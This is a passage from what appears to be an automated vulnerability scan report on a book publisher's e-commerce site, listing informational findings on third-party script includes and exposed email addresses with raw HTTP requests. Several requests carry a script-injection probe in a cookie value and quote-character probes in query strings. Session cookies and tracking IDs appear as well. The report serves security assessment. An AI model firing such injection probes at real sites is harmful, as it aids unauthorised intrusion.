<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.3. https://ecommerce.randomhouse.com//create-address.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //create-address.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET //create-address.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:15 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 24044


<!-- createAddress.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http:/
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.4. https://ecommerce.randomhouse.com//email-password.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //email-password.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET //email-password.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:11 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 18043


<!-- updateEmailPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.5. https://ecommerce.randomhouse.com//select-address.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //select-address.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET //select-address.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:15 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16341


<!-- selectAddress.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http:/
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.6. https://ecommerce.randomhouse.com//view-orders.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //view-orders.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET //view-orders.do?from=' HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303860175|PC#1303855598284-166145#1366930315|check#true#1303858375; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 23:18:12 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 14600


<!-- orderHistory.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.7. https://ecommerce.randomhouse.com/account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /account.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /account.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:29 GMT
Server: Apache
Set-Cookie: JSESSIONID=30BCBB9743BBB87336047B037BF512BF.ecommerce_wrk1; Path=/; Secure
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16859


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.8. https://ecommerce.randomhouse.com/create-account-submit.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account-submit.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /create-account-submit.do HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; mbox=session#1303855598284-166145#1303858226|PC#1303855598284-166145#1366928366|check#true#1303856426; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:47:05 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 20778


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.9. https://ecommerce.randomhouse.com/create-account.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /create-account.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /create-account.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:19:46 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 20193


<!--createAccount.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.10. https://ecommerce.randomhouse.com/password.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /password.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /password.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:19:32 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 11309


<!-- forgottenPassword.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="htt
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.11. https://ecommerce.randomhouse.com/sign-in-submit.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in-submit.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /sign-in-submit.do HTTP/1.1
Host: ecommerce.randomhouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RES_SESSIONID=212207240983843; JSESSIONID=38D14861B5F177BDEE31B25C6E8D7C7F.ecommerce_wrk1; s_cc=true; ResonanceSegment=1; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_sq=%5B%5BB%5D%5D; RES_TRACKINGID=686529694590717; CP=null*; rhcartitems=; SC_LINKS=%5B%5BB%5D%5D; __qca=P0-874375948-1303855562358; mbox=session#1303855598284-166145#1303858166|PC#1303855598284-166145#1366928306|check#true#1303856366;

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:26:47 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Connection: close
Content-Length: 16981


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

7.12. https://ecommerce.randomhouse.com/sign-in.do  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   /sign-in.do

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /sign-in.do?from=randomhouse HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com/account.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=388CC68FD235E0B3FC2D6F4CD6E761C9.ecommerce_wrk1; SC_LINKS=%5B%5BB%5D%5D; CP=null*; mbox=check#true#1303855669|session#1303855598284-166145#1303857469|PC#1303855598284-166145#1366927609; s_cc=true; RES_SESSIONID=212207240983843; ResonanceSegment=1; s_sq=ranhcorporate%2Cranhrollup%3D%2526pid%253Dsignin%2526pidt%253D1%2526oid%253Dhttps%25253A//ecommerce.randomhouse.com/sign-in.do%25253Ffrom%25253Drandomhouse%2526ot%253DA

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:44 GMT
Server: Apache
Content-Type: text/html;charset=ISO-8859-1
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 16851


<!-- signIn.vm -->


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/
...[SNIP]...
</script>
<script type="text/javascript" src="//secure.quantserve.com/quant.js"></script>
...[SNIP]...

8. Email addresses disclosed  previous  next
There are 9 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


8.1. http://ecommerce.randomhouse.com/store/js/rh/ecom.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /store/js/rh/ecom.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/ecom.js HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=9D7F2B422015BC40089F4A74818D3783.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:25 GMT
Server: Apache
Last-Modified: Wed, 02 Dec 2009 15:30:55 GMT
ETag: "a170-ced-8f7f29c0"
Accept-Ranges: bytes
Content-Length: 3309
Content-Type: application/x-javascript

function rh_js_PopWin(url,name,options){
var ContextWindow = window.open(url,name,options);
ContextWindow.focus();
return false;
}
function validateEmail(email) {
   var illegalChars = /[ \(\)\<\>
...[SNIP]...
<>[],;:\/#"'); return false; }
   if( email != "" && !emailFilter.test(email)) { alert("Your e-mail address must contain '@' and end in dot-something (e.g. 'myname@domain.com')"); return false; }
   return true;
}
function validateCreate(form) {
   if( form.firstName.value == '') {
       alert( 'First Name is required');
       return false;
   }
   if( form.lastName.value == '') {
       alert
...[SNIP]...

8.2. http://ecommerce.randomhouse.com/store/js/rh/prototype.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /store/js/rh/prototype.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/prototype.js HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=9D7F2B422015BC40089F4A74818D3783.ecommerce_wrk1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:24 GMT
Server: Apache
Last-Modified: Tue, 05 Feb 2008 14:44:22 GMT
ETag: "a1de-7131-46b59d80"
Accept-Ranges: bytes
Content-Length: 28977
Content-Type: application/x-javascript

/* Prototype JavaScript framework, version 1.3.1
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the source
...[SNIP]...

8.3. http://ecommerce.randomhouse.com/store/js/rh/s_code.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://ecommerce.randomhouse.com
Path:   /store/js/rh/s_code.js

Issue detail

The following email address was disclosed in the response:

Request

GET /store/js/rh/s_code.js HTTP/1.1
Host: ecommerce.randomhouse.com
Proxy-Connection: keep-alive
Referer: http://ecommerce.randomhouse.com/cart.do?from=randomhouse
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; RES_SESSIONID=212207240983843; ResonanceSegment=1; __qca=P0-874375948-1303855562358; s_cc=true; SC_LINKS=%5B%5BB%5D%5D; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; JSESSIONID=9D7F2B422015BC40089F4A74818D3783.ecommerce_wrk1; mbox=check#true#1303855659|session#1303855598284-166145#1303857459|PC#1303855598284-166145#1366927599

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:06:28 GMT
Server: Apache
Last-Modified: Mon, 15 Dec 2008 15:25:36 GMT
ETag: "a7c7-5db6-74579c00"
Accept-Ranges: bytes
Content-Length: 23990
Content-Type: application/x-javascript

/* SiteCatalyst code version: H.17.
Copyright 1997-2008 Omniture, Inc. More info available at
http://www.omniture.com */
/************************ ADDITIONAL FEATURES ************************
Plu
...[SNIP]...
.hav()+q+(qs?qs:s."
+"rq(^C)),0,id,ta);qs`e;`Wm('t')`5s.p_r)s.p_r(`R`X`e}^7(qs);^z`p(@i;`l@i`L^9,`G$71',vb`R@G=^D=s.`N`i=s.`N^M=`F@0^y=s.ppu=^p=^pv1=^pv2=^pv3`e`5$x)`F@0@G=`F@0eo=`F@0`N`i=`F@0`N^M`e`5!id@Ls.tc#Ctc=1;s.f"
+"lush`a()}`2$m`Atl`0o,t,n,vo`1;s.@G=@wo`R`N^M=t;s.`N`i=n;s.t(@i}`5pg){`F@0co`0o){`K@J\"_\",1,#B`2@wo)`Awd@0gs`0$S{`K@J$p1,#B`2s.t()`Awd@0dc`0$S{`K@J$p#B`2s.t()}}@3=(`F`J`Y`8`4@us@d0`Rd=^L;
...[SNIP]...

8.4. https://ecommerce.randomhouse.com//store/js/rh/ecom.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //store/js/rh/ecom.js

Issue detail

The following email address was disclosed in the response:

Request

GET //store/js/rh/ecom.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com//account.do
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:49:30 GMT
Server: Apache
Last-Modified: Wed, 02 Dec 2009 15:30:55 GMT
ETag: "a170-ced-8f7f29c0"
Accept-Ranges: bytes
Content-Length: 3309
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

function rh_js_PopWin(url,name,options){
var ContextWindow = window.open(url,name,options);
ContextWindow.focus();
return false;
}
function validateEmail(email) {
   var illegalChars = /[ \(\)\<\>
...[SNIP]...
<>[],;:\/#"'); return false; }
   if( email != "" && !emailFilter.test(email)) { alert("Your e-mail address must contain '@' and end in dot-something (e.g. 'myname@domain.com')"); return false; }
   return true;
}
function validateCreate(form) {
   if( form.firstName.value == '') {
       alert( 'First Name is required');
       return false;
   }
   if( form.lastName.value == '') {
       alert
...[SNIP]...

8.5. https://ecommerce.randomhouse.com//store/js/rh/prototype.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //store/js/rh/prototype.js

Issue detail

The following email address was disclosed in the response:

Request

GET //store/js/rh/prototype.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com//account.do
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; mbox=session#1303855598284-166145#1303859918|PC#1303855598284-166145#1366930058|check#true#1303858118; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:49:29 GMT
Server: Apache
Last-Modified: Tue, 05 Feb 2008 14:44:22 GMT
ETag: "a1de-7131-46b59d80"
Accept-Ranges: bytes
Content-Length: 28977
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

/* Prototype JavaScript framework, version 1.3.1
* (c) 2005 Sam Stephenson <sam@conio.net>
*
* THIS FILE IS AUTOMATICALLY GENERATED. When sending patches, please diff
* against the source
...[SNIP]...

8.6. https://ecommerce.randomhouse.com//store/js/rh/s_code.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://ecommerce.randomhouse.com
Path:   //store/js/rh/s_code.js

Issue detail

The following email address was disclosed in the response:

Request

GET //store/js/rh/s_code.js HTTP/1.1
Host: ecommerce.randomhouse.com
Connection: keep-alive
Referer: https://ecommerce.randomhouse.com//account.do
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: RES_TRACKINGID=686529694590717; __qca=P0-874375948-1303855562358; s_vi=[CS]v1|26DBA0E0051D3102-60000104C025ACEA[CE]; s_cc=true; s_sq=%5B%5BB%5D%5D; SC_LINKS=%5B%5BB%5D%5D; JSESSIONID=916E1DF250E4C8F9A222E994DF92BDD0.ecommerce_wrk1; rhecommerce='"--></style></script><script>netsparker(0x000B6E)</script>|null|www.randomhouse.com|3; CP=null*; RES_SESSIONID=212207240983843; ResonanceSegment=1; mbox=session#1303855598284-166145#1303860046|PC#1303855598284-166145#1366930186|check#true#1303858246

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 22:49:38 GMT
Server: Apache
Last-Modified: Mon, 15 Dec 2008 15:25:36 GMT
ETag: "a7c7-5db6-74579c00"
Accept-Ranges: bytes
Content-Length: 23990
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript

